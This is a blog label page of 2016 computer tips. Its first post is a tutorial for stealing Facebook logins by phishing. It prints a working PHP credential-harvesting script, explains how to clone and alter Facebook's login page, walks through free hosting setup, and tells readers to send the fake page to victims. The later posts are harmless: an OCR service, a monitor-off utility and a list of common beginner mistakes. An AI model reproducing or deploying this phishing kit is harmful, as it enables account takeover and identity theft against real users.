Showing posts with label Computer Tips & Tricks. Show all posts
Showing posts with label Computer Tips & Tricks. Show all posts

Friday, 26 August 2016

How To Hack Facebook Using Phishing Method 2016

Phishing is the attempt to acquire sensitive information such as usernames, passwords, and credit card details (and sometimes, indirectly, money) by masquerading as a trustworthy entity in an electronic communication.



How will this be done? You will be able to gain access to another users facebook profile by using a method known as "phishing" 

Phishing.

What is phishing and how is it done?

Phishing is the process of directing users to enter details into a fake website that look and feel like the legitimate one. 

Basically all you are doing is getting your target to login to your fake login page and you will be sent their Facebook email and password.

If you want to know more about phishing attacks then you should read this article from our sister website: What Is Phishing Scams Or Attacks And How to Prevent It


STEP 1:Creating Phishing.php file :

1. Even if you don't have any knowledge of php file simply copy the following script and save it as phishing.php .

:<?php
header("Location: https://www.facebook.com/login.php");
$handle = fopen("passwords.txt", "a");
foreach($_GET as $variable => $value) {fwrite($handle, $variable);fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?> 

 
STEP 2: Creating index.html page :



1. Open the Facebook login page then, Right click>View page source and paste it in notepad and save it a
index.html




2. Open that index.html file with a Notepad and search (By pressing Ctrl+F) for : action in it and replace the highlighted part (as in the following screenshot) with phishing.php .



3. search (By pressing Ctrl+F) for : method in it and replace the highlighted part (post) with get .



4. save index.html


STEP 3: Now create a completely blank text file with name passwords.txt.

Now you have all the following three files with you :
1. phishing.php
2. index.html
3. passwords.txt


Step 4: Now you need to make a website.


I recommended you byethost because it is completely free hosting with free domain.

Go to: byethost.com  and fill out the informations needed and click on register button.



2. Now Goto your email account that you gave and confirm your account with confirmation link.
(Note the cpanel username that you got when verified with your activation link)



3. Now Go to http://panel.byethost.com  and Log into your account Cpanel.
Enter your cpanel username and password and login



4. Now when you are logged into your account then Go to File Manager under Files and log into it.



5. Now Click on the Public_html.



6 .Click on the Upload button and upload 3 files named phishing.php, index.html and passwords.txt 
(before uploading files you need to delete all the files inside  the Public_html folder)

7. After successfully uploaded 3 files click on index.html file, then your fake phishing page will open up.

You are now ready to phishing.

sent your fake login page's URL to someone via email or chatting  , when someone type their facebook email and password in your fake login page it will store to your passwords.tex file. 



The Input Data (Email and Password) will look like this.

Thursday, 25 August 2016

Convert scanned images into text online


Convert any scanned image into text using the free OCR online service Free OCR. The service supports any PDF, JPG, GIF, TIFF, or BMP file that is no larger than 2MB and once uploaded will convert and display the file results on the web page.

Free online OCR

Turn your monitor off using your keyboard

Using the Monitor Off Utility is a quick and easy way to turn off your monitor when you step away from your computer. As can be seen in the below screenshot, this utility allows the user to setup any HotKey to turn off their monitor from anywhere in Windows. This utility also can have a shortcut key start a screen saver and lock the workstation as an extra form of security.
Not only does this program help protect your computer it is the best way to save money on your power bill if your computer is on all day.
Monitor off utility
Tip: Although this utility is claiming to turn off the monitor, it is actually putting the monitor into Standby. Although Standby mode is similar to turning off your monitor, we'd still recommend that you turn off the monitor if you're going to be away from the computer for an extended period of time.

Download the Monitor Off Utility

Top 10 computer mistakes beginners make

Below we've listed the top 10 mistakes we find beginner computer users making and how you can avoid falling into the same mistakes.

Not backing up important files

Computer backupOne of the biggest mistakes anyone can make is not backing up important information. Today, there are so many different methods of backing up your information that there is no longer any excuse for not backing up your information. Make sure to backup all important information before it is too late.

Clicking Next or Ok without reading

Everyone has become more impatient thanks to the instant gratification we all enjoy every day on the Internet. However, because of this impatience it is not uncommon for new users to click Ok or Next without reading what they are agreeing to and not making sure there are no check boxes still checked. Make sure you read every prompt before agreeing, or you may be agreeing to install new browser toolbars, a program you didn't intend to install, or other crapware.

Not saving work

While working on a document either offline or online make sure that the program is automatically saving your work. If a program does not automatically save your work, you need to make sure you are saving your work every 10-15 minutes. If the computer loses power, Internet connection, or the program crashes everything is lost that hasn't been saved.

Turning off the computer improperly

With more users learning on Smartphones and Tablets before learning the computer, not all new users are familiar with the proper method to shut down (turn off) a computer. When you are done with a computer and want to turn it off make sure to save any work, close open programs, and shut down the computer properly.

Opening e-mail attachments

E-mail attachmentA common method of getting infected with a computer virus or malware is from opening e-mail attachments. Be extremely cautious and doubtful on all e-mail attachments you receive including any e-mail attachments you receive from friends, family, and co-workers. One of the most common tactics malicious users use to send viruses is from people you know to gain a false sense of trust.

Falling for phishing, spam, or chain mail

Phishing
As computers become more secure, and users get more tech savvy, many malicious individuals have moved to attacking people using phishing tactics. Make sure you are aware of how phishing works and how you can make sure you do not become a victim ofidentity theft.
Spam
Almost all spam today is distributed by infected computers or malicious users. Replying to these spam messages will not unsubscribe you from any list and usually is never looked at or received. In some cases, a spammer may even use your reply as a verification that an e-mail works and send you more spam or share your e-mail address with other spammers. If you get spam, just delete it from your inbox.
Chain mail
You should also never forward your friends and family chain mail. If you find an e-mail hard to believe, make sure it is true before you forward the myth or rumor to anyone else.

Downloading and installing bad software

Today, the most common ways a computer gets infected with viruses, malware, and other crapware is from downloading and installing bad software on the computer. Always be cautious of free software and who is providing you with the free software. To subsidize costs many developers include other bundled programs or toolbars, and if you are not careful, you may install them during the install. As mentioned earlier, always be sure to read what the program is doing during the install.
Unfortunately, reading is also not always enough and sites offering free things likecursors, fonts, wallpaper, emotions, and other small downloads may be bundled with other bad software. When downloading anything, keep the below suggestions in mind.
Where are you getting the download?
There are malicious people who download valid copies of a popular download, modify the file with malicious software, and then upload the file with the same name. Make sure you are downloading from the developer's web page or a reputable company.
Don't install download manager
Many sites suggest or require you to install an installer or a download manager before allowing you to download a program you may be interested in downloading. These tools almost always cause your computer more problems and may even have malware or other spyware. Avoid any site claiming anything must be installed first before you can continue with your download.
Avoid advertisements on download pages
To help make money and pay for the bandwidth costs of supplying free the software, the final download page may have ads. Watch out for anything that looks like advertisements on the download page. Many advertisers try to trick viewers into clicking an ad with phrases like "Download Now", "Start Download", or "Continue" and that ad may open a separate download.
Cancel or deny any automatic download
Some sites may automatically try start a download or give the appearance that something needs to be installed or updated before the site or video can be seen. Never accept or install anything from any site unless you know what is downloading.

Not keeping operating system and software up-to-date

The evolution of computers and the software that computer's use is always evolving. After a program is released bugs and security threats are almost always discovered by other users. Installing the latest updates for a program makes sure everything runs smooth and if security fixes are found fix those problems, so your data is kept secure.

Keep a computer on a surge protector or UPS

If you plug your desktop computer, laptop, tablet, or smartphone into a wall outletconsider using a surge protector instead. A surge protector can help keep your computer protected during an electrical storm and make sure that nothing is damaged if a surgetravels over your power lines.
Also, if you are using a desktop computer we highly recommend also using a UPS on your computer. Although these can be more expensive, a UPS protects your computer from a surge, brown out, and keeps the computer running if the power goes out for a minute or two.

Buying incompatible hardware or peripherals

Computers are becoming more diversified with Chrome books, hybrid computers, laptops, smartphones, and tablets. Although all of these devices are considered computers, not all hardware is compatible with every type of computer. Also, this is true with Apple computers vs. PC computers, and PC computers running Windows or Linux, which are all running different operating systems.
Before purchasing hardware or upgrading older hardware make sure its compatible with your computer, operating system, and meets the system requirements.